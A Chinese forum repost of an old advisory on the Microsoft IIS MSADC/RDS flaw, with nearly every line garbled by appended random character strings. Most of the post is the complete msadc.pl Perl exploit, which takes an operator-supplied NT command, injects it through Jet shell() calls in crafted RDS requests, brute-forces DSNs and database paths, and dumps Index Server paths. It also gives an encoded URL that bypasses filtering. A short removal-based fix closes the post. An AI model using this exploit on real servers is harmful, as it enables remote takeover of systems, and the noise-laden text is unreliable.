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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 9InVQCf2J  
kc&U'&RgY  
涉及程序: \(2sW^fY  
Microsoft NT server sD#.Oq4&]y  
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描述: P71Lqy)5}A  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "S?z@ i(K^  
WNrk}LFof  
详细: C!bUI8x z  
如果你没有时间读详细内容的话,就删除: E+;7>ja  
c:\Program Files\Common Files\System\Msadc\msadcs.dll </*6wpN  
有关的安全问题就没有了。 >tW#/\x{  
sLxc(d'A  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 o|["SYIf  
A^<jy=F&  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 |aq"#Ml)  
关于利用ODBC远程漏洞的描述,请参看: JDT`C2-Q  
P@c5pc#|  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm aAUvlb  
r\^b(rNe  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 m!HJj>GEo  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp RPRBmb940  
Z/+#pWBI!  
这里不再论述。 6(ol1 (U  
oYH-wQj  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: C]A.i2o8  
yD}B%\45  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset l!u_"I8j5  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! g]0_5?i  
3)ywX&4"L  
7zG_(83)K  
#将下面这段保存为txt文件,然后: "perl -x 文件名" [.wYdv35  
xU`p|(SS-  
#!perl H9e<v4 c  
# {R6ZKB  
# MSADC/RDS 'usage' (aka exploit) script $6SW;d+>n  
# <7jW _R@  
# by rain.forest.puppy 8bld3p"^  
# ~b8]H|<'Y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me P/_['7  
# beta test and find errors! j&qub_j"xX  
}*]-jWt1J\  
use Socket; use Getopt::Std; gRcQt:  
getopts("e:vd:h:XR", \%args); g`QEu 5v  
[d ]9Oa4  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 3h`f  6  
]~siaiN[  
if (!defined $args{h} && !defined $args{R}) { 9XB8VKu8  
print qq~ {I't]Qj_e  
Usage: msadc.pl -h <host> { -d <delay> -X -v } nAdf=D'P  
-h <host> = host you want to scan (ip or domain) $f7l34Sf3  
-d <seconds> = delay between calls, default 1 second u]UOSfn  
-X = dump Index Server path table, if available g[4WzDF*  
-v = verbose DSn_0D  
-e = external dictionary file for step 5 kE1TP]|  
}k.Z~1y  
Or a -R will resume a command session ncT&Gr   
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~; exit;} d%n-[ZL  
X!EP$!  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; "3Y0`&:D  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ey$&;1x#5  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ab?aQ*$+  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); z<' u1l3  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4^o^F-k'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } @cXMG6:{  
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if (!defined $args{R}){ $ret = &has_msadc; 63IM]J  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} a9Zq{Ysj  
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print "Please type the NT commandline you want to run (cmd /c assumed):\n" .8JTe 0  
. "cmd /c "; 88$8d>-  
$in=<STDIN>; chomp $in; f]sr RYSR  
$command="cmd /c " . $in ; Uw<nxD/+  
U|R_OLWAg  
if (defined $args{R}) {&load; exit;} H0vfUF53l  
8Z=R)asGS  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; |M;7>'YNC*  
&try_btcustmr; =[7Av>  
8zW2zkv2|#  
print "\nStep 2: Trying to make our own DSN..."; +9sQZB# (  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; <lJ345Q  
 N4TV  
print "\nStep 3: Trying known DSNs..."; (X*^dO  
&known_dsn; :?1Dko^  
8'y$M] e9n  
print "\nStep 4: Trying known .mdbs..."; 0?|<I{z2  
&known_mdb; NL+N%2XG7  
}W^A*]X  
if (defined $args{e}){ ('+d.F[109  
print "\nStep 5: Trying dictionary of DSN names..."; F#5~M<`.o  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 5'u<iSmBo  
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print "Sorry Charley...maybe next time?\n"; EQSQFRk;  
exit; 2&J)dtqz  
5146kp|1  
############################################################################## mgU<htMr1  
Q\sK"~@3  
sub sendraw { # ripped and modded from whisker ]JQULE)  
sleep($delay); # it's a DoS on the server! At least on mine... $U-0)4yf  
my ($pstr)=@_; vo{--+{ky!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !&@615Vtw  
die("Socket problems\n"); 4 s9LB  
if(connect(S,pack "SnA4x8",2,80,$target)){ t\O16O7S  
select(S); $|=1; ;*2Cm'8E  
print $pstr; my @in=<S>; }4X0epPp;:  
select(STDOUT); close(S); ]7c=PC  
return @in; R`-S/C  
} else { die("Can't connect...\n"); }} -jm Y)(\  
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############################################################################## p0eX{xm  
J C}D` h  
sub make_header { # make the HTTP request sU^1wB Rj  
my $msadc=<<EOT Pr C{'XDlU  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 KD.]i' d<  
User-Agent: ACTIVEDATA y$M%2mh`  
Host: $ip 9H1rO8k  
Content-Length: $clen +:/%3}`  
Connection: Keep-Alive ?:eV%`7  
;5( UzQU  
ADCClientVersion:01.06 DzRFMYBR  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 pT6$DB#  
=($xG#g`  
--!ADM!ROX!YOUR!WORLD! ,|/f`Pl  
Content-Type: application/x-varg X2'0PXv>!  
Content-Length: $reqlen &mM0AA'\?H  
Q22 GIr  
EOT +&H4m=D-#a  
; $msadc=~s/\n/\r\n/g; K3l95he  
return $msadc;} es0hm2HT3  
sV*H`N')S  
############################################################################## wVtwx0|1  
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sub make_req { # make the RDS request }c:M^Ff  
my ($switch, $p1, $p2)=@_; G=bCNn<  
my $req=""; my $t1, $t2, $query, $dsn; [()koU#w.  
I)HPO,7  
if ($switch==1){ # this is the btcustmr.mdb query 3=V &K-  
$query="Select * from Customers where City=" . make_shell(); 'dc#F3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1Ai^cf:S  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}  e]$s t?  
o^wqFX(Y  
elsif ($switch==2){ # this is general make table query X2"/%!65{  
$query="create table AZZ (B int, C varchar(10))"; >/6 _ ^  
$dsn="$p1";} {id4:^u&;  
u)Whr@m  
elsif ($switch==3){ # this is general exploit table query 8H`[*|{'  
$query="select * from AZZ where C=" . make_shell(); KqP#6^ _  
$dsn="$p1";}  4Wp=y  
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elsif ($switch==4){ # attempt to hork file info from index server bcz:q/f}@  
$query="select path from scope()"; M)(DZ}  
$dsn="Provider=MSIDXS;";} oxtay7fx  
F((4U"   
elsif ($switch==5){ # bad query _)iCa3z  
$query="select"; An0GPhC  
$dsn="$p1";} wb ;xRP"w  
qmP].sA  
$t1= make_unicode($query); B`sAk %  
$t2= make_unicode($dsn); -D: b*D  
$req = "\x02\x00\x03\x00"; 1{.9uw"2S  
$req.= "\x08\x00" . pack ("S1", length($t1)); X5w$4Kj&4l  
$req.= "\x00\x00" . $t1 ; JlJ a #  
$req.= "\x08\x00" . pack ("S1", length($t2)); ksm~<;td  
$req.= "\x00\x00" . $t2 ; ,`sv1xwd  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; iN.n8MN=I  
return $req;} K@%].:  
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############################################################################## HK% 7g  
Pc]HP  
sub make_shell { # this makes the shell() statement y<.5xq5_3  
return "'|shell(\"$command\")|'";} ez[Vm:2K  
l}P=/#</T  
############################################################################## u$`a7Lp,n  
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sub make_unicode { # quick little function to convert to unicode -F3-{E  
my ($in)=@_; my $out; EiaW1Cs  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } wdoR%b{M  
return $out;} qxJ\ye+'*  
dD@(z: 5M\  
############################################################################## J9 I:Q<;  
*=xr-!MEk  
sub rdo_success { # checks for RDO return success (this is kludge) GKeU%x  
my (@in) = @_; my $base=content_start(@in); 4 H&#q>  
if($in[$base]=~/multipart\/mixed/){ DW3G  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} og>uj>H&  
return 0;} <{cQ2  
CNx8] _2  
############################################################################## BL4-7  
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sub make_dsn { # this makes a DSN for us |V7*l1  
my @drives=("c","d","e","f"); (QiAisE  
print "\nMaking DSN: "; O.JN ENZf  
foreach $drive (@drives) { UL9n-M =  
print "$drive: "; %SUQ9\SEs  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . bs1Rvx1:J%  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;9'OOz|+1  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); oD@7 SF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; f<6lf7qzC  
return 0 if $2 eq "404"; # not found/doesn't exist /<BI46B\  
if($2 eq "200") { *n"{J(Jt`  
foreach $line (@results) { A_UjC`  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} o<!?7g{  
} return 0;} 4`=m u}Y2  
|+"(L#wk  
############################################################################## ]{>,rK[So  
{Hk}Kow  
sub verify_exists { <\S:'g"(  
my ($page)=@_; W!(LF7_!  
my @results=sendraw("GET $page HTTP/1.0\n\n"); "^iYLQOC  
return $results[0];} %N_%JK\{@  
{fp[BF  
############################################################################## ^d xTm1Z  
Wn}'bqp  
sub try_btcustmr { xe$_aBU  
my @drives=("c","d","e","f"); ,"0 :3+(8;  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Q=dy<kg']  
S5EK~#-L[  
foreach $dir (@dirs) { ?Ss!e$jf  
print "$dir -> "; # fun status so you can see progress ]J]h#ZHx  
foreach $drive (@drives) { PmM3]xVzd  
print "$drive: "; # ditto Jfl!#UAD|n  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; rQ snhv  
$reqlenlen=length( "$reqlen" ); An/|+r\  
$clen= 206 + $reqlenlen + $reqlen; Ef{Vp;]  
UR5`ue ;  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ;xn0;V'=  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} J4U1t2@)9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} [opGZ`>)j"  
Qe(:|q _  
############################################################################## ku M$UYTTX  
0Wp|1)ljA  
sub odbc_error { mRK>U$v  
my (@in)=@_; my $base; @9|hMo  
my $base = content_start(@in); ] @fk] ]R  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this U,1-A=Og{o  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ={Qi0Pvt  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; | VDV<g5h  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IO:G1;[/2L  
return $in[$base+4].$in[$base+5].$in[$base+6];} FML(4BY,  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Wh{tZ~c  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (&x['IR  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} bi;1s'Y<D  
g< .qUBPKX  
############################################################################## vY`s'%WV  
,5<Cd,`*  
sub verbose { |]*/R^1>2  
my ($in)=@_; ;i+#fQO7Q  
return if !$verbose; 8DaL,bi*.  
print STDOUT "\n$in\n";} %ULr8)R;  
o2\8OxcA  
############################################################################## R@rBEW&  
d m%8K6|  
sub save { ;i:d+!3XwC  
my ($p1, $p2, $p3, $p4)=@_; QkC(uS  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; U~7c+}:c  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ufT`"i  
close OUT;} m&yJzMW|  
'1/i"yoW  
############################################################################## S ByW[JE  
;,e2egC'  
sub load { BIL Lq8)  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; jWfa;&Ra  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); u\JNr}bL  
@p=<IN>; close(IN); l1Fc>:o{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); M\Kx'N  
$target= inet_aton($ip) || die("inet_aton problems"); z2>lI9D4V  
print "Resuming to $ip ..."; iOO)Q\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; jRV/A!4  
if($p[1]==1) { v|2T%y_ u  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; iAU@Yg`pt  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; =w0R$&b&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); :*\Pn!r  
if (rdo_success(@results)){print "Success!\n";} bA->{OPkT  
else { print "failed\n"; verbose(odbc_error(@results));}} GR32S=\  
elsif ($p[1]==3){ *~i ])4  
if(run_query("$p[3]")){ /&94 eC  
print "Success!\n";} else { print "failed\n"; }} ,zY$8y]  
elsif ($p[1]==4){ 'uEl~> l7  
if(run_query($drvst . "$p[3]")){ #>+HlT  
print "Success!\n"; } else { print "failed\n"; }} Y:a]00&)#Y  
exit;} H7:] ]j1  
]OzUGXxo~  
############################################################################## pyvSwD5t  
HyWCMK6b  
sub create_table { ?6Y?a2 |  
my ($in)=@_; E< fVZ,  
$reqlen=length( make_req(2,$in,"") ) - 28; \)|hogI|f  
$reqlenlen=length( "$reqlen" ); !C: $?oU  
$clen= 206 + $reqlenlen + $reqlen; |$b}L7_  
my @results=sendraw(make_header() . make_req(2,$in,"")); ekCC5P!  
return 1 if rdo_success(@results); #;nYg?d=  
my $temp= odbc_error(@results); verbose($temp); [cp+i^f  
return 1 if $temp=~/Table 'AZZ' already exists/; XpJ7o=?W3  
return 0;} n ?Nt6U  
aw42oLk  
############################################################################## }`~+]9 <   
^J;bso`  
sub known_dsn { BThrO d  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ?5 7Sk+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", I2 P@L?h  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", D d</`iUq  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); D}X\Ca"h  
"#\ ;H$+  
foreach $dSn (@dsns) { 'Qe;vZ31K  
print "."; @s2y~0}#  
next if (!is_access("DSN=$dSn")); 'q:`? nJ^  
if(create_table("DSN=$dSn")){ :6\qpex  
print "$dSn successful\n"; ]?[fsdAQW  
if(run_query("DSN=$dSn")){ p.?rey<%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { LSr]S79N1  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ~R92cH>L  
,\%c^,HLJ  
############################################################################## e**qF=HCw  
[HZv8HU|  
sub is_access { |# 2.Q:&  
my ($in)=@_; Q$Q([Au  
$reqlen=length( make_req(5,$in,"") ) - 28; Npy :!  
$reqlenlen=length( "$reqlen" ); 6~w@PRy  
$clen= 206 + $reqlenlen + $reqlen; N//K Ph  
my @results=sendraw(make_header() . make_req(5,$in,"")); #O dJ"1A|  
my $temp= odbc_error(@results); *bA.zmzM  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); "1 M[5\Ax  
return 0;} V 6reqEh  
jtc]>]6i  
############################################################################## NHZz _a=  
9mTJ|sN:e  
sub run_query { JnM["Q=`  
my ($in)=@_; I&W=Q[m  
$reqlen=length( make_req(3,$in,"") ) - 28; Z>5b;8  
$reqlenlen=length( "$reqlen" ); 03#lX(MB  
$clen= 206 + $reqlenlen + $reqlen; ut7zVp<"  
my @results=sendraw(make_header() . make_req(3,$in,"")); [K0(RDV)%  
return 1 if rdo_success(@results); kL"2=7m;  
my $temp= odbc_error(@results); verbose($temp); [E juUElr  
return 0;} I4i>+:_J  
HCC#j9UN6  
############################################################################## @r/n F5  
oEZdd#*;  
sub known_mdb { &FN.:_E  
my @drives=("c","d","e","f","g"); ckE-",G  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2a Q[zK  
my $dir, $drive, $mdb; UrEs4R1#  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; + @s"zp;F  
O[JL+g4  
# this is sparse, because I don't know of many bAtSVu  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 7! INkH]  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5taT5?n2  
"\\system32\\certmdb.mdb", q'Tf,a  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ExL0?FemWV  
QX'qyojxN  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", vuY~_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 5uj?#)N  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", IKilr'  
"\\cfusion\\cfapps\\security\\realm_.mdb", ^yN&ZI3P&  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", fHd#u%63K  
"\\cfusion\\database\\cfexamples.mdb", % ^1V4  
"\\cfusion\\database\\cfsnippets.mdb", <1${1A <Wa  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [j/9neaye  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", N~zdWnSZ@G  
"\\cfusion\\brighttiger\\database\\cleam.mdb", K F!Yf\  
"\\cfusion\\database\\smpolicy.mdb", Od,qbU4O  
"\\cfusion\\database\cypress.mdb", fSvM(3Y<Qh  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _5Ct]vy  
"\\website\\cgi-win\\dbsample.mdb", >V8-i`  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", )cMh0SGcM1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" -**g~ty)  
); #these are just Wf>R&o6tr  
foreach $drive (@drives) { 7} 5JDG  
foreach $dir (@dirs){ 68C%B9.b'  
foreach $mdb (@sysmdbs) { |"CZT#  
print "."; 5(Q%XQV*P  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ y,,dCca  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; PmEsN&YP]  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 4yA+ h2  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 6) [H?Q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} XrGglBIV  
V#gK$uv  
foreach $drive (@drives) { gu.}M:u  
foreach $mdb (@mdbs) { uo%)1NS!  
print "."; #yF&X(%  
if(create_table($drv . $drive . $dir . $mdb)){ a fW@T2  
print "\n" . $drive . $dir . $mdb . " successful\n"; YHygo#4=8  
if(run_query($drv . $drive . $dir . $mdb)){ Pw`8Wj  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; yZU6xY  
} else { print "Something's borked. Use verbose next time\n"; }}}} 6H WE~`ok6  
} B7E:{9l~s{  
u[=r,^YQ  
############################################################################## 0gP}zM73  
ShP^A"Do  
sub hork_idx { u.m[u)HQ  
print "\nAttempting to dump Index Server tables...\n"; XnMvKPerv'  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~/iKh1 1  
$reqlen=length( make_req(4,"","") ) - 28; 9`X\6s  
$reqlenlen=length( "$reqlen" ); 1FL~ndJs  
$clen= 206 + $reqlenlen + $reqlen; LxSpctiNx  
my @results=sendraw2(make_header() . make_req(4,"","")); !")tU+:  
if (rdo_success(@results)){ ~t~k2^)|"  
my $max=@results; my $c; my %d; Q1I6$8:7  
for($c=19; $c<$max; $c++){ W/bQd)Jvk  
$results[$c]=~s/\x00//g; Ee%%d  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Q6!zZ))~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; qv KG-|j  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; z3m85F%dR  
$d{"$1$2"}="";} WUXx;9>  
foreach $c (keys %d){ print "$c\n"; } o&)8o5  
} else {print "Index server doesn't seem to be installed.\n"; }} k1Y?  
}I6veagK  
############################################################################## sW'AjI  
dhf!o0'1M  
sub dsn_dict { u5b|#&-mX  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Y>dzR)~3[  
while(<IN>){ W ]?G}Q;  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; S3*`jF>q  
next if (!is_access("DSN=$dSn")); pG^  
if(create_table("DSN=$dSn")){ m6\E$;`  
print "$dSn successful\n"; SaAFz&WRl  
if(run_query("DSN=$dSn")){ 3-qr)h  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !v_|zoCEj  
print "Something's borked. Use verbose next time\n";}}} Ru!iR#s)!  
print "\n"; close(IN);} *:LK8U  
x$.^"l-vX  
############################################################################## g<; q.ZylT  
?*1uN=oI{*  
sub sendraw2 { # ripped and modded from whisker o!Ieb  
sleep($delay); # it's a DoS on the server! At least on mine... ;yLu R  
my ($pstr)=@_; l<LP&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (!7sE9rP  
die("Socket problems\n"); :vqgGKml$  
if(connect(S,pack "SnA4x8",2,80,$target)){ bL+_j}{:N  
print "Connected. Getting data"; RSyUaA  
open(OUT,">raw.out"); my @in; l \!fj#  
select(S); $|=1; print $pstr; r,1!?s^L  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} }mYx_=+VX  
close(OUT); select(STDOUT); close(S); return @in; FQ7T'G![  
} else { die("Can't connect...\n"); }} < #}5IQ5`Z  
~IfJwBn-i  
############################################################################## tGh~!|P  
aFb==73aLw  
sub content_start { # this will take in the server headers .B]MpmpK  
my (@in)=@_; my $c; bz2ztH9 n  
for ($c=1;$c<500;$c++) { i$:*Pb3mV  
if($in[$c] =~/^\x0d\x0a/){ #@9/g  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } *K6g\f]b#  
else { return $c+1; }}} Fa Qe_;  
return -1;} # it should never get here actually L~rBAIdD  
vrhT<+q  
############################################################################## +_?hK{Ib"  
H z1%x  
sub funky { t?x<g<PJ4  
my (@in)=@_; my $error=odbc_error(@in); rq/yD,I,  
if($error=~/ADO could not find the specified provider/){ r6MMCJ|G  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ;4^Rx  
exit;} fF$<7O)+]  
if($error=~/A Handler is required/){ L_uVL#To  
print "\nServer has custom handler filters (they most likely are patched)\n"; RXpw!  
exit;} rb2S7k0{  
if($error=~/specified Handler has denied Access/){ g1/[eoZzk  
print "\nServer has custom handler filters (they most likely are patched)\n"; tqvN0vY5  
exit;}} D9 CaFu  
J6s`'gFns  
############################################################################## qo90t{|c  
4n !aW?%  
sub has_msadc { .9on@S  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); z0p*Z&  
my $base=content_start(@results); hk(ZM#Bh  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); <EB+1GFuI  
return 0;} [#<-ZC#T*  
pMx*F@&nU  
######################## I {S;L  
( iBl   
M=.n7RY-  
解决方案: <CYd+! (  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll j^j1  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 JgKO|VO  
xjuN-  
拿出来充数 哈哈
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